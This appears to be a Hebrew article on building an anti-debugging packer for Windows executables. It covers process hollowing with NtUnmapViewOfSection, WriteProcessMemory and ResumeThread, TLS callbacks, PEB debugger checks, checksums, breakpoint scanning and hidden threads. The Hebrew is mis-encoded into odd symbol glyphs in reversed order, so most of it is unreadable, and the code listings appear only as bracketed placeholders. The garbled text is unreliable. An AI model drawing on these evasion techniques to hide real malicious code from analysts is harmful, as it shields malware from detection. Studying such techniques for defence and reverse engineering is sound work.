 ˢ˧˧˵˧˸ˢ ˨ˣ˸ˬ ˸ˣˮˣ˷ ˸ˣ˵˧ˮ˩˦ ˶˲˯ˬ˟ ˷ˬ˸˷ˬ ˧˪˷ ˢˮ˩ˣ˸˟ ˳˟ˣ˵ ˪˩ ˦˰ˬ˩anti_debugging  ˫˰˲ˬ

.˫˰˲˪  

 ˰˴˟ˬ ˵˶˷ ˭˦˵ ˡˣ˵ ˢ˷˰ˬ˪ ˞ˣˢ ˳˶ˣˬ˷ ˢˮ˩ˣ˸˟ ˧ˮˣ˷˞˶ˢ ˳˟ˣ˵ˢ ,˱˯ˣˮ˟unpacking ˢ ˳˟ˣ˵˪- exe 

 ˸˞ ˫ˡˣ˵ ˳˪˥˪ ˨˧˶˴ ˶ˣ˵˥˪ ˪˧˥˸ˢ˪ ˧ˡ˩ ,˸˞ˤˢ ˢ˦˧˷ˢ ˸ˣ˩ˤ˟ .˭ˣ˶˩˧ˤ˪ ˣ˸ˣ˞ ˭˰ˣ˦ˣ ˢˮ˩ˣ˸ˢ ˪˷ ˧˸˧ˬ˞ˢ

 ˳˟ˣ˵ ˣ˸ˣ˞exe  ˰˴˟˪ ˣ˞Dump ˢ ˶˥˞˪-unpacking. 
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˨˪ˢˬ ˸˧˧˪˰ ˢˮ˩ˣ˸ˢ 

:˪˰ ˦˟ˬˬ ˨˩ ˨˶˰˟ ˢ˞˶ˮ ˧˪˷ ˢˮ˩ˣ˸ˢ ˸˧˧˪˰ ˫˸˧˶ˣˠ˪˞ 

1.  ˸ˣ˰˴ˬ˞˟) ˭ˣ˶˩ˤˢˬ ˸˴˶ˣˬˣ ˸˴˪ˣ˥ˬ ˸˧˸˧ˬ˞ˢ ˢˮ˩ˣ˸ˢProcess Hollowing( 

2. s-TLS Callback ˞˶˵ˮ 

3.  ˸ˮ˩ˣ˸ ˸˞ ˯˧˶˵ˢ˪ ˭ˣ˧˯ˮ ˰˴˟˸ˬOllyDebug 

4. ˢ ˢˡ˷ ˫˞-Debugger ˟-PEB  ˠˣ˯ˬ ˸˧ˬ˴˰ ˢˡˬ˷ˢ ˸˰˴˟˸ˬ ,˵˪ˣˡ1 

5.  ˟˷ˣ˥ˬChecksum ˧˪˟ˣ˪ˠ ˢˮ˷ˬ˟ ˸˶ˬ˷ˮ ˢ˞˴ˣ˸ˢˣ ˡˣ˵ˢˬ ˫˧˪ˣˡˠ ˫˧˵˪˥ ˪˰ ˧ˮˣ˷˞˶ 

6.  ˞˴ˬˮ ˫˞ .ˢ˶˴˵ ˢ˵˧˶˯ ˸˰˴˟˸ˬBreakpoint ˢ ˸˧˴˵ˮˣ˲ ˸˪˧˥˸˟-Mainˢ ˸˪˧˥˸˟ ,-Entry Point ,

ˢ ˸˪˧˥˸˟ ˣ˞-TLS Callback ˠˣ˯ˬ ˸˧ˬ˴˰ ˢˡˬ˷ˢ ˸˰˴˟˸ˬ ,3 

7. s-Main ˞˶˵ˮ 

8. s-Thread ˩ ˣˬ˴˰ ˸˞ ˶˧ˡˠˬˣ ˪ˣ˰˲˪ ˪˧˥˸ˬ ˶˸˯ˮˢ-Hiddenˢ ˵ˡ˟ˮ ˸˧˲ˣ˯ˮ˧˞ ˢ˞˪ˣ˪˟ .-Checksum 

ˢ ˸˦˧˷˟ ˶ˠ˞˟˧ˡ ˸ˣ˞˴ˬ˧ˢ˪ ˢ˵˧ˡ˟ ˸˰˴˟˸ˬˣ ˟ˣ˷ˣ ˟ˣ˷-QueryInformationProcess ˢˡ˧ˬ˟ .

ˢ˪ˠ˸ˬˣ  ˠˣ˯ˬ ˸˧ˬ˴˰ ˢˡˬ˷ˢ ˸˰˴˟˸ˬ ,˶ˠ˞˟˧ˡ4 ˢˮ˸˷ˬ˪ ˢ˧˴˶˦˧˞ ˪˩˟ ˫˷˶ˮ ˧˥˩ˣˮˢ ˭ˬˤˢ .

.˧˪˟ˣ˪ˠ 

9. ˪˥˸ˣ˞ˬˣ ˶˴ˣˮ ˧˷˞˶ˢ ˭ˣ˪˥ˢ 

10. ˢ ˸˞˪ˣ˪-Message Loop  ˸ˣ˞˴ˬˢ ˸˵ˡ˟ˮ ˢ˧˴˶˦˧˞ ˪˩˟ .˳ˣ˶˪ ˢ˪˧˥˸ˬ ˯ˣˡˮ˧ˣˣ ˪˷Process- ˪˷ ˫˧

.˫˧˶˩ˣˬ ˫˧˶ˠ˞˟˧ˡ 

˩ ˨˶ˡ˟˷ ˪˟ˤ ˡˣ˵ ˧˰˦˵ ˢˬ˩ ˡ˧ˬ˸ ˫ˮ˷˧ ˟˪˷˪ ˟˪˷ ˪˩ ˭˧˟ ˶ˣ˴˧˪ ˸ˮˬ ˪˰ ˧˸˧ˬ˞ˢ ˡˣ˵ˢˬ ˶˸ˣ˧ ˫˧˪ˣˡˠ ˪˪

 .˶˸ˣ˧ ˢ˪ˣˡˠ ˢ˧˰˦ˢ 
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-sUnpacking ˧ˮˣ˷˞˶ˢ ˢˣ-Process Hollowing 

 ˧˪˷ ˸˧ˮˣ˷˞˶ˢ ˢˮ˩ˣ˸ˢ ˸˞ ˧˸˧ˮ˟ ,˸˧ˮ˩˸ˢ ˪˷ ˧˦˞˦˯ˢ ˥ˣ˸˧ˮ˟ ˶˵ˣ˥ˢ ˪˰ ˶˸ˣ˧ ˦˰ˬ ˸ˣ˷˵ˢ˪ ˸ˮˬ ˪˰

 ˰˴˟˪ ˶˥ˣ˟ ˣˢ˷˧ˬ ˶˷˞˩ ,˸˞ˤˢ ˢ˶ˣ˴˟ .˸˧˸˧ˬ˞ˢ ˢˮ˩ˣ˸˪ ˢ˴˲˵ˬ ˵˶ ˢˣˣˢ˸ ˞˧ˢ ˢ˷˰ˬ˪˷ ˨˩

Disassembly  ˢˮ˩ˣ˸ˢ ˸˞ ˳˪˥ˬ ˵˶˷ ˧˪˟ˬ˯˞ˢ ˡˣ˵ ˸˞ ˞ˣˢ ˢ˶ˤ˥˟ ˪˟˵ˬ ˞ˣˢ˷ ˢˬ ,˧˪˷ ˢˮ˩ˣ˸˪

˶ˬˣ ˸˧˸˧ˬ˞ˢ.ˢ˸ˣ˞ ˳˧ 

 ˧˸˧˴˶ ˪˟˞ .ˢ˸ˣ˞ ˳˧˶ˢ˪ˣ ˥˧˷˵ˢ ˵˯˧ˡ˪ ˳˟ˣ˵˩ ˸˧˸˧ˬ˞ˢ ˢˮ˩ˣ˸ˢ ˸˞ ˟ˣ˸˩˪ ˦ˣ˷˲ ˪ˣ˩˧ ˧˸˧˧ˢ ˨˩ ˫˷˪

ˢ ˭˩ˣ˸ ˸˞ ˳˧˶ˢ˪ ˧˪ ˶˷˲˞˸˷ ˶˸ˣ˧ ˸ˬ˩˥ˣ˸ˬ ˨˶ˡ ˞ˣ˴ˬ˪-PE  ˢ˵˧ˮ˩˦˟ ˧˸˷ˬ˸˷ˢ ˭˩˪ .˭ˣ˶˩ˤˢˬ ˸ˣ˶˧˷˧

 ˸˞˶˵ˮ˷Process Hollowing. 

Process Hollowing  ˪˷ ˣˬˣ˧˵ ˸˞ ˶˧˸˯ˢ˪ ˫˧˯ˮˬ˷ ˫˧ˮˣ˷ ˫˧˯ˣ˶˧ˣ ˟˶˵˟ ˶˵˧˰˟ ˢ˴ˣ˲ˮˢ ˢ˦˧˷ ˞˧ˢ

˟˷ ˞˧ˢ ˣˤˢ ˢ˵˧ˮ˩˦ˢ ˪˷ ˢ˞˴ˣ˸ˢ :˷ˬ˸˷ˬˢ ˧ˮ˲ˬ ˫ˢ˪˷ ˨˧˪ˢ˸ˢ-Task Manager  ˢ˞˶ˮ ˯ˣˡˮ˧ˣˣ ˪˷

 ˭ˣˠ˩ ˧ˬ˧˦˧ˠ˪ ˨˧˪ˢ˸"notepad.exe" ˫˧˷ˣ˰˷ ˢˬ .˶˥˞ ˨˧˪ˢ˸ ˪˷ ˡˣ˵ˢ ˢ˧ˢ˧ ˣ˪˷ ˭˩ˣ˸ˢ ˢ˷˰ˬ˪ ˪˟˞ ,

 ˢ˷˰ˬ˪ ˸˞ˤˢ ˢ˦˧˷˟ ˷˧˷ ˧ˮ˲˪ ˣˮ˪˷ ˭˩ˣ˸˟ ˣ˪˷ ˭˩ˣ˸ˢ ˸˞ ˟˸˩˷˪ ˪˟˞ ˞ˣˢ˷˪˩ ˪˧ˠ˶ ˨˧˪ˢ˸ ˶ˣ˴˧˪ ˞ˣˢ

 .˳ˣ˶˪ ˸ˣˮˬˡˤˢ ˣ˪ 

 ,˸˧˶ˣ˵ˬˢ ˢˮ˩ˣ˸ˢ˷ ˧˸˦˪˥ˢ ,˧˪˷ ˢ˶˵ˬ˟Win32Application.exeˢ ˨ˣ˸˟ ˸ˮ˯˥ˣ˞ˬ ˢ˧ˢ˸ ,-Resources 

 ˪˷packer.exe ˪˷ ˡˣ˵˟ ,˭˩˪ .packer.exe  ˢˮ˩ˣ˸ˢ) ˸˞ ˞˧˴ˣˬ ˪˩ ˫ˡˣ˵ ˧ˮ˞ (˸˲˦ˣ˰ˢ

Win32Application.exe ˢ ˨ˣ˸ˬ-Resources  ˭ˣˠ˩ ˸˩˶˰ˬ ˸ˣ˧˴˵ˮˣ˲ ˸ˣ˰˴ˬ˞˟ ˭ˣ˶˩ˤˢ ˪˞FindResource x-

LoadResource. 

˭˩ˬ ˶˥˞˪ ˢ ˸˞ ˷ˬˬ˪ ˶˟ˣ˰ ˧ˮ˞-Process Hollowing ˪˷ ˪ˣ˲˩˷ ˢ˷˰ˬ˪ ˞ˣˢ˷ ˷ˡ˥ ˨˧˪ˢ˸ ˶˴ˣ˧ ˧ˮ˞ :

) ˧˥˩ˣˮˢ ˨˧˪ˢ˸ˢ"packer.exe" ˟˴ˬ˟ ˶˴ˣˮ ˞ˣˢ˷ ˞˪˞ (Suspended ˶˷˲˞˷ ˨˩ , ˭ˣ˶˩ˤ ˯ˣ˶ˡ˪ˣ ˣ˧˪˰ ˦ˣ˪˷˪

 ˣ˸ˣ˞ ˪˷ ˧˪˞ˣ˦˶˧ˣˢ ˭ˣ˶˩ˤˢ ˟˥˶ˬˬ ˵˪˥ ˵ˣ˥ˬ˪ ˯ˣˡˮ˧ˣˣˬ ˷˵˟ˬ ˧ˮ˞ ˢ˪˥˸ˢ ˶ˣ˸˟ .ˢ˴˶ˢˢ ˸˪˧˥˸ ˧ˮ˲˪

) "˪ˣ˪˥" ˨˧˪ˢ˸ ˪˟˵˪ ˧ˡ˩ ˨˧˪ˢ˸Hollow (-  ˸˶ˤ˰˟NtUnmapViewOfSection ˢˮ˩ˣ˸ˢ ˭˩ˬ ˶˥˞˪ .

˶˪ ˪˧˥˸ˬ ˷ˡ˥ˢ ˨˧˪ˢ˸ˢˣ ˵˧˶ˢ ˟˥˶ˬˢ ˨ˣ˸˪ ˸˵˸˰ˣˬ ˸˶˸˯ˣˬˢˣ ˸˧˸˧ˬ˞ˢ ˳ˣ) ˟˴ˬ˪ ˶˟ˣ˰ ˶ˬˣ˪˩

Resumed.( 

 
]˨ˣ˸ˬ ˡˣ˵ˢ ˪˷ packer.exe :˸˯ˮ˩ˢ ˸ˮˣˬ˸ s-PE ˭ˣ˶˩ˤˢˬ ˨˧˪ˢ˸˪ ˷ˡ˥ ˸˶ˤ˰˟ Process Hollowing[ 
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˪ ˨˧˪ˢ˸ˢ ˪˷ ˢ˷˧ˠˢ ˸ˣ˞˷˶ˢ ˸˞ ˢˮ˷ˬ ˧ˮ˞ ,˷ˡ˥ ˨˧˪ˢ˸ ˶˴ˣ˧ ˧ˮ˞˷ ˧˶˥˞ ,ˡˣ˵˟ ˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩-

PAGE_EXECUTE_READWRITE ˢ ˸˞ ˟˸ˣ˩ˣ-PE  ˢ˧˴˵ˮˣ˲ˢ ˸ˣ˞˴ˬ˞˟ ˭˷˧ˢ ˧˟ˠ ˪˰ ˷ˡ˥ˢ

WriteProcessMemory˪ ˞ˣ˶˵˪ ˞ˣˢ ˶˞˷ˮ˷ ˢˬ ˪˩ ,˶˟ˡ ˪˷ ˣ˲ˣ˯˟ .-ResumeThread  ˪˩ˢ˪ ˸˸˪ˣ

.ˢ˷ˡ˥ˢ ˢ˯˧ˮ˩ˢ ˸ˡˣ˵ˮˬ ˳ˣ˶˪ ˪˧˥˸ˢ˪ 

 ˸˞ ˳˪˥ˬ ˣˢ˷˧ˬˣ ˢˡ˧ˬ˟Win32Application.exe ˢˬ-Resources  ˢ˞˴ˣ˸˩ ˞˪˷ ˢ˴˶ ˞˧ˢ ,ˢ˸ˣ˞ ˳˧˶ˬˣ

ˢˬ-Process Hollowing  ˢ˧ˢ˧ ˞˪ ˢ˪˷ ˨˧˪ˢ˸ˢ ˫˷˷ ˥˧ˮˢ˪ ˶˷˲˞ ˭˩˪ˣ"packer.exe" ˨ˣ˸˟ .

Win32Application ˨˧˪ˢ˸ˢ ˫˷ ˸˵˧ˡ˟ ˧"˰ ˢ˪˞˩ ˢ˥˧˸˲ ˸ˣˮˣ˧˯ˮ ˸ˣˢˤ˪ ˢ˯ˮˬ˷ ˢ˵˧ˡ˟ ˧˸˯ˮ˩ˢ ,

 ˞˪ ˞ˣˢ ˫˷ˢˣ ˢˡ˧ˬ˟ .˧˥˩ˣˮˢ"packer.exe" ˡ˰ˣˮ ˢˤˢ ˭˦˵ˢ ˵˧˶˦ˢ .˥˸˲˧˸ ˞˧ˢ˷˩ ˡ˧ˬ ˶ˠ˯˧˸ ˢˮ˩ˣ˸ˢ ,

 ˶˵ˣ˥ˢ ˪˰ ˸ˣ˷˵ˢ˪ ˵˶ ˭˟ˣˬ˩.˶˸ˣ˧ ˡˣ˰ ˢ˲˧˦ 

 

 

˯˧˯˟ˢ ˸˟ˣ˸˩˷ ˞ˡˣˣ˪ ˨˧˶˴ ˧˸˧˧ˢ ˡˣ˟˰˸ ˸˞ˤˢ ˢ˵˧ˮ˩˦ˢ˷ ˧ˡ˩˷ ˭˧˧˴˪ ˷˧ )ImageBase ˪˷ (packer.exe 

 ˸˞ ˭˰ˣ˦ ˧ˮ˞ ˢ˧˪˞˷ ˯˧˯˟ˢ ˸˟ˣ˸˩ˣ ˪˰ˣ˲˟Win32Application.exe  ˸˞ ˧˸˪˦˧˟ ˨˩ ˫˷˪ .˸ˣˢˤ ˣ˧ˢ˧

ˢ ˸ˣ˶˷˲˞-Randomized Base Address ˢ ˸ˣ˶ˡˠˢ˟-Linker ˫˰˲ ˪˩ ˸ˮ˰˦ˮ ˧˪˷ ˢˮ˩ˣ˸ˢ ˢ˷˰ˬ˪˷ ˨˩ ,

 ˧˪˷ ˢˮ˩ˣ˸ˢ ˸˞ ˱˧˯ˣˢ˪ ˧˪˷ ˯ˣ˶˧ˣ ˧˦ˮ˞˪ ˸ˣ˶ˣˢ˪ ˞ˣˢ ˸ˣ˷˰˪ ˨˧˶˴ ˧˸˧ˢ˷ ˶˟ˡ ˡˣ˰ .ˢ˰ˣ˟˵ ˸˟ˣ˸˩˪

 ˪˰ ˫˧˰˧˶˸ˬ ˫˧˯ˣ˶˧ˣ ˧˦ˮ˞˷ ˢ˟˧˯ˢ .˪˪˩ˢ ˭ˬ ˫˧˞˴ˣ˧ˢ ˫˧˴˟˵ˢ ˸ˬ˧˷˶˪Process Hollowing  ,˭˟ˣˬ˩ ,˞˧ˢ

ˬ˸˷ˬ ˫˧˸˰˪ ˫˧˯ˣ˶˧ˣ˷ ˪˪ˠ˟ ˭ˣˠ˩ ,˶˥˞ ˧ˬ˧˦˧ˠ˪ ˨˧˪ˢ˸ ˨ˣ˸˪ ˫ˬ˴˰ ˸˞ ˯˧ˮ˩ˢ˪ ˧ˡ˩ ˸˞ˤˢ ˢ˵˧ˮ˩˦˟ ˫˧˷

notepad.exe. 

  

]˨ˣ˸ˬ main_form.cpp[ 
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ˢˡˬ˷ˢ ˸˧ˬ˴˰ 

 ˢ˶˧˵˥ ˸ˣˮˣ˧˯ˮ ˰ˣˮˬ˪ ˧ˡ˩ ˢˬ˩˥ ˢ˶ˣ˴˟ ˢˬ˴˰ ˸˞ ˢˡ˧ˬ˷ˬ ˞˧ˢ ,˶ˠ˞˟˧ˡ ˢ˪ˠˬ ˧˪˷ ˢˮ˩ˣ˸ˢˣ ˢˡ˧ˬ˟

.(˧˵ˮ ˭˲ˣ˞˟ ˸˞˴ˣ˧ ˦ˣ˷˲ ˞˪ˣ) ˫˧˲˯ˣˮ 

˫˧˶˟ˡ ˫˧˪˪ˣ˩ ˸˧ˬ˴˰ ˢˡˬ˷ˢ˪ ˧˸˦˵ˮ˷ ˸ˣ˦˧˷ˢˬ ˵˪˥ ˢ ˸˯˧˶ˢ ˣˬ˩-Stack  ,˸˧˞˶˵˞ ˸˟ˣ˸˩˪ ˢ˴˧˲˵ ,

 ˸ˣ˶˷˲˞ˢ ˸˞ ˱˧ˡ˰ˢ˪ ˢ˦ˣˮ ˧ˮ˞ .ˢˮ˩ˣ˸ˢ ˪˷ ˡˣ˵˟ ˫˧˧˦˧˶˵ ˸ˣˬˣ˵ˬ ˪˰ ˫˧˧˞˶˵˞ ˫˧˩˶˰ ˸˟˧˸˩ ˣ˞

 ˢ˪˷ ˶ˣ˵ˬˢ ˸˞ ˶˸˞˪ ˶˸ˣ˧ ˱˞ ˢ˷˵˷ ˭ˣˣ˧˩ˬ ˢˮˣ˶˥˞ˢ-  ˸ˮ˧˥˟ˬ ˧˶ˢC  ˧˸˪˟ ˸ˣ˧ˣˠˢˮ˸ˢ ˭ˢ ˣ˪˞ ˪˩

) ˸ˣ˧ˣ˲˴undefined behavior ˡˣ˵˪ ˢˬˠˣˡ ˢˮˢ .(:ˢˤ˩ 

 

]˨ˣ˸ˬ destruction.h[ 

 ˸ˣ˪ˣ˰˲ ˫˧˰˴˟ˬ ˶˷˞˩ ˭ˣˠ˩ ˧˪˟ˬ˯˞mov ebx, eax ˢ ˪˩˷ ˟ˣ˦ ˧ˣ˩˧˯ ˷˧ ,ˡˣ˵˟ ˸˧˞˶˵˞ ˢˡˣ˵ˮ˟-Flow  ˪˷

 ˞ˣˢ˷ ˢˬˬ ˧˶ˬˠ˪ ˫˧ˮˣ˷ ˫˧˩˶˰ ˫˰ ˡˣ˟˰˪ ˪˧˥˸˧ ˸˧ˮ˩˸˟ ˞˟ˢ ˡˣ˵ˢ :˰ˠ˶ ˣ˸ˣ˞˟ ˯˶ˢˮ ˢ˷˰ˬ˪ ˸˧ˮ˩˸ˢ

 .˪˧˟ˣ˸ ˣˤ˩ ˸ˣˠˢˮ˸ˢ ˭˞˪ ˸˰ˡ˪ ˭˧˞ˣ ,ˢ˲˧˴ 

 ,˧˸˟˸˩˷ ˢˡˬ˷ˢˢ ˸ˣ˧˴˵ˮˣ˲ˬ ˸˥˞ ,ˢˬˠˣˡ˪ ˨˩destruction_2 ˫˧˶ˠˣ˞ˢ˷ ˨˩ ˪˰ ˸˩ˬ˸˯ˬ ,eax x-ebx 

 ˧ˡ˩ ,˪˟˞ .ˡˣ˵˟ ˸˧˞˶˵˞ ˢˡˣ˵ˮ˟ ˫ˢ˟ ˫˧˷ˬ˸˷ˬ ˶˷˞˩ ˷˞˶ˬ ˫˸ˣ˞ ˸ˣ˲˴˪ ˶˷˲˞ ˧˞˷ ˫˧˩˶˰ ˫˧˪˧˩ˬ

 ,ˢ˯˧˶˵ ˞ˡˣˣ˪destruction_2 ˢˬ ˧˞˶˵˞ ˨˶˰ ˸˥˵ˣ˪ ˫ˠ-Stack .ˣ˧˪˰ ˰˧˟˴ˬ ˞ˣˢ˷ ˫ˣ˵ˬ˪ ˸˴˲ˣ˵ˣ 

destruction_3ˢ ˪˰ (˫˧˞˶˵˞ ˫˧˦˧˧˟) ˸ˣ˧˞˶˵˞ ˸ˣ˞˶ˣˢ ˸˟˸ˣ˩ ˦ˣ˷˲ ,˸˞ˤ ˸ˬˣ˰˪ ,-0x2000  ˫˧˦˧˧˟

 ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˸˟ˣ˸˩ˢˬ ˪˥ˢ ˫˧ˮˣ˷˞˶ˢjunk_func_1˧˶ˢ .  ˡ˥˞˟ ˷ˬ˸˷˧ ˣˢ˷ˬ ˣ˞ ˣˢ˷˧ˬ ,ˣˢ˷˧˸ˬ

.˯ˣ˶˵˪ ˪˧˥˸˧ ˪˩ˢ ˤ˞ˣ ,ˢˤˢ ˸ˣ˟ˣ˸˩ˢ ˫ˣ˥˸˟ ˫˧˞˴ˬˮ˷ ˫˧˶˟ˡˢˬ 

˧˸˧˧ˢ ˡˣ˟˰˸ ˸˧ˬ˴˰ˢ ˢˡˬ˷ˢˢ˷ ˧ˡ˩ ˪ ˸ˣ˶ˣˢ˪ ˫ˠ ˨˧˶˴-Linker ˢ ˸˞ ˶ˣ˴˧˪-text section  ˸ˣ˷˞˶ˢ ˫˰

 ˪˷RWE  ˡˣ˵ˢ ˶ˣˤ˞ ˪˰ ˟ˣ˸˩˪ ˸ˣ˶˷˲˞ ˭˧˞ ˪˧ˠ˶ ˟˴ˬ˟˷ ˭ˣˣ˧˩ˬ- .ˡ˟˪˟ ˢ˴˶ˢˣ ˢ˞˧˶˵˪ ˶ˡˠˣˬ ˞ˣˢ ˧˶ˢ 
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˸ˣ˧˴˵ˮˣ˲ Inline 

 ˪˷ ˶˪˧˧˲ˬˣ˵ˢ˷ ˫˰˲ ˪˩˟C  ˶˲˯ˬ˪ ˢ˞˧˶˵ˢ ˸˞ ˫ˠ˶˸˪ ˟˧ˣ˥ˬ ˞ˣˢ ,ˢ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵ ˪˲ˬ˵˪ ˨˧˶˴

˸ˣ˞˶ˣˢ  ˡˣ˵˟ ˸˧˥˩ˣˮˢ ˢˡˣ˵ˮ˪ ˶ˣˤ˥˪ :˨˧˶˴˷ ˣˬ˩ ˡ˵˲˸˪ ˪˩ˣ˸ ˢ˧˴˵ˮˣ˲ ˢ˸ˣ˞˷ ˞ˡˣˣ˪ ˧ˡ˩ ˸ˣˮˣ˷ ˧˪˟ˬ˯˞

ˢ ˸˧˧ˮ˟) ˢˬˣˡ˩ˣ ˢˮˣ˩ˮ ˢ˶ˣ˴˟ ˫˧˶˦ˬ˶˲ ˪˟˵˪ ,˫˧ˮ˸˷ˬ ˸ˣ˴˵ˢ˪ ,˸ˬ˧˧˸˯ˬ ˞˧ˢ ˶˷˞˩-Stack Frame .( 

 ˪˟˞ .˸˧ˮ˩˸ˢ ˪˷ ˫˧˰ˣ˴˧˟ˢ ˪˰ ˰˧˲˷ˬ ˧˷ˣ˵˟ˣ ˳˪ˬˣˬ ˡˣ˞ˬ ˪˪˩ ˨˶ˡ˟ ˢˤ ˪˩- ˲ ˫ˢ˟˷ ˫˧˶˵ˬ˟ ˸ˣ˧˴˵ˮˣ

 ˸ˣˣˢ˪ˣ ˶˸ˣ˧ ˦˞˪ ˸˧˸ˣ˰ˬ˷ˬ ˡˣ˟˰˪ ˡˣ˵˪ ˫ˣ˶ˠ˪ ˪ˣ˩˧ ˢˤ ˫˧ˬ˰˲ ˪˷ ˪ˣˡˠ ˶˲˯ˬ ˸ˣ˰˴˟˸ˬ ˸ˣ˦ˣ˷˲ ˸˧˯˥˧

Overhead  .˶˸ˣ˧ˬ 

 ˸ˣ˲˷˟˷ ˢ˟˧˯ˢ ˸˞ˤC x-C++  ˣ˪˧˞˩ ˸ˬ˧ˣ˯ˬ ˢ˧˴˵ˮˣ˲˪ ˯˥˧˧˸ˢ˪ ˶˪˧˧˲ˬˣ˵˪ ˸ˣ˶ˣˢ˪ ˸ˣ˶˷˲˞ˢ ˸ˬ˧˧˵

 ˢ˧˴˵ˮˣ˲ ˸ˬ˞˟ ˞˪ ˞˧ˢ-  ˢ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵˟ ˪˵˸˧ ˶˪˧˧˲ˬˣ˵ˢ˷ ˰ˠ˶˟ ,˶ˬˣ˪˩ .ˡˣ˵ˢˬ ˵˪˥ ˦ˣ˷˲ ˞˪˞

 ˶ˣˤ˥˞ˣ ˢ˶˧ˬ˷ ˫ˣ˷ ˧˪˟ ,˸˧ˮ˩˸ˢ ˪˷ ˢ˪˧ˠ˶ˢ ˢˬ˧˶ˤˢˬ ˵˪˥˩ ˢ˪˷ ˡˣ˵ˢ ˸˞ "˪˧˸˷˧" ˞ˣˢ ,ˣˤ˩ ˸ˡ˥ˣ˧ˬ

˟ ˪ˣ˲˧˦ ˣ˞ ˫˧˩˶˰ ˪˷-Stack. 

 ˸ˣ˧˴˵ˮˣ˲ ˭ˣˬ˧˯ ˪˪˩ ˨˶ˡ˟ ˢ˶ˣˬ˷ˢ ˢ˪˧ˬˢ ˸˟˧˸˩ ˸ˣ˰˴ˬ˞˟ ˢ˷˰ˮ ˸˞ˤˢ ˢ˶ˣ˴ˢˬinline ˟ ˸ˬ˧˸˥

 ˢ˪˧ˬˢ ˫˧˶˪˧˧˲ˬˣ˵ˢˬ ˵˪˥˟˷ ˭˧˧˴˪ ˷˧ .ˢ˧˴˵ˮˣ˲ˢinline  ˧˞˷˶ ˭˧˧ˡ˰ ˶˪˧˧˲ˬˣ˵ˢˣ ,ˡ˟˪˟ ˢ˴˪ˬˢ ˢˣˣˢˬ

 ˸ˣ˧ˢ˪ ˧ˡ˩ˬ ˧ˡˬ ˸˩˟ˣ˯ˬ ˢ˧˴˵ˮˣ˲ ˢ˸ˣ˞˷ ˟˷ˣ˥ ˞ˣˢ ˫˞ ˢ˧˴˵ˮˣ˲˪ ˸˧˸˧ˬ˞ ˢ˞˧˶˵ ˰˴˟˪inline .

 ,˧˸˷ˬ˸˷ˢ ˣ˟˷ ˶˪˧˧˲ˬˣ˵˟Visual C++ ˢ˶ˣˬ˷ˢ ˢ˪˧ˬˢ ,__forceinline ˬˣ˵ˢ ˸˞ ˸˟˧˧˥ˬ ˸ˣ˷˰˪ ˶˪˧˧˲

.˫˧˷ˣ˰ ˣˮ˥ˮ˞ ˢˬ ˣˮˬˬ ˟ˣ˦ ˶˸ˣ˧ ˫˧˰ˡˣ˧ ˣˮ˥ˮ˞˷ ˣ˪ ˸˶ˬˣ˞ ˢ˷˰ˬ˪ˣ ˸˞ˤ ˪˩˟ ˢˤ ˸˞ 

 ˸ˣ˧˴˵ˮˣ˲˷ ˭ˣˣ˧˩ˬinline  ˶˪˧˧˲ˬˣ˵ˢ ,(ˢ˪˥˸ˢ˟ ˧˸˶˟˯ˢ˷ ˧˲˩) ˪ˣ˲ˬ˧˵ˢ ˨˧˪ˢ˸ ˪˷ ˧ˮ˷ˢ ˟˪˷˟ ˸ˣ˪˲ˣ˦ˬ

˪ ˸ˣ˶˷˲˞ ˫˴˰˟ ˭˧˞ ˭˩˪ .ˢ˧˪˞ ˢ˞˧˶˵˟ ˪˵˸ˮ ˞ˣˢ˷ ˰ˠ˶˟ ˢ˧˴˵ˮˣ˲ˢ ˱ˣˠ ˞ˣˢ ˢˬ ˸˰ˡ˪ ˟˧˧˥ ˷ˬ˸˷ˢ

 ˸ˣ˧˴˵ˮˣ˲˟inline  ˧˴˟˵˟ ˭˞ˣ˪ˬ˟ ˭˸ˣ˞ ˶˧ˡˠ˪ ˨˶ˣ˴ ˷˧ ˞˪˞ ,"˸ˣ˧ˮˣ˴˧˥"header. 

˩ ˧˪˷ ˢˮ˩˸˟ ˧˸˟˸˩˷ ˸ˣ˧˴˵ˮˣ˲ˢˬ ˫˧˪ˣˡˠ ˫˧˵˪˥ ˧˸˶ˡˠˢ ,˶˸ˣ˧ ˢ˷˵ ˶˵ˣ˥ˢ ˸ˡˣ˟˰ ˸˞ ˸ˣ˷˰˪ ˧ˡ˩ ˤ˞-

inline ˩ ˣ˪˧˲˞ˣ-_forceinline  ˫ˣ˵ˬ˟ ˸ˣ˶˧˷˧ ˞˪˞ ,ˢ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵˩ ˣ˪˲ˬ˵˸˧ ˞˪ ˫ˢ˷ ˞ˡˣˣˬ˷ ˢˬ)

 ˸ˡˣ˟˰ ˢ˷ˣ˰˷ ˶˟ˡ ˢˤ ˸ˣ˧˴˵ˮˣ˲ ˧˪˪˩ ˭˲ˣ˞˟˷ ˞ˣˢ ˣˤˢ ˢ˦˧˷ˢ ˧˶ˣ˥˞ˬ ˭ˣ˧˰˶ˢ .(˫ˢ˪ ˞˶ˣ˵˷ ˡˣ˵ˢ

 ˞ˣˢ ˪˩ˢ ˫˞ ˧˶ˢ .ˢ˪˵ ˶˸ˣ˧ ˢ˟˶ˢ ˶˵ˣ˥ˢinline ˶˵ˣ˥ˢ , ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ ˡˡˣ˟˪ ˪ˣ˩˧ ˞˪ ˷˥ˮ˪ ˟˧˧˥ ˞ˣˢˣ

 ˫˧˷˪ ˪ˣ˩˧ ˞˪ ˫ˠ ˞ˣˢ .˷ˡ˥ˬ ˫˰˲ ˪˩ ˷ˠˣ˲ ˞ˣˢ˷ ˡˣ˵ˢ ˪˷ ˶˷˵ˢˢ ˸˞Breakpoint-ˣ˲ ˪˰ ˫˧ .'ˣ˩ˣ ˸ˣ˧˴˵ˮ 

˩ ˸ˣ˟˶ ˸ˣ˧˴˵ˮˣ˲ ˭ˬ˯˪ ˠˢˣˮ ˧ˮ˞˷ ˢˡ˟ˣ˰ˢ-inline ˢ ˡˣ˵ ˪˩ ˦˰ˬ˩˷ ˢ˟˧˯ˢ ˫ˠ ˞˧ˢ-Anti Debugging  ˧˪˷

 ˧˴˟˵˟ ˟ˣ˸˩.h  ˧˴˟˵˟ ˞˪ˣ.cpp .˫˧˪˧ˠ˶ 
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˸ˣ˧˴˵ˮˣ˲ static 

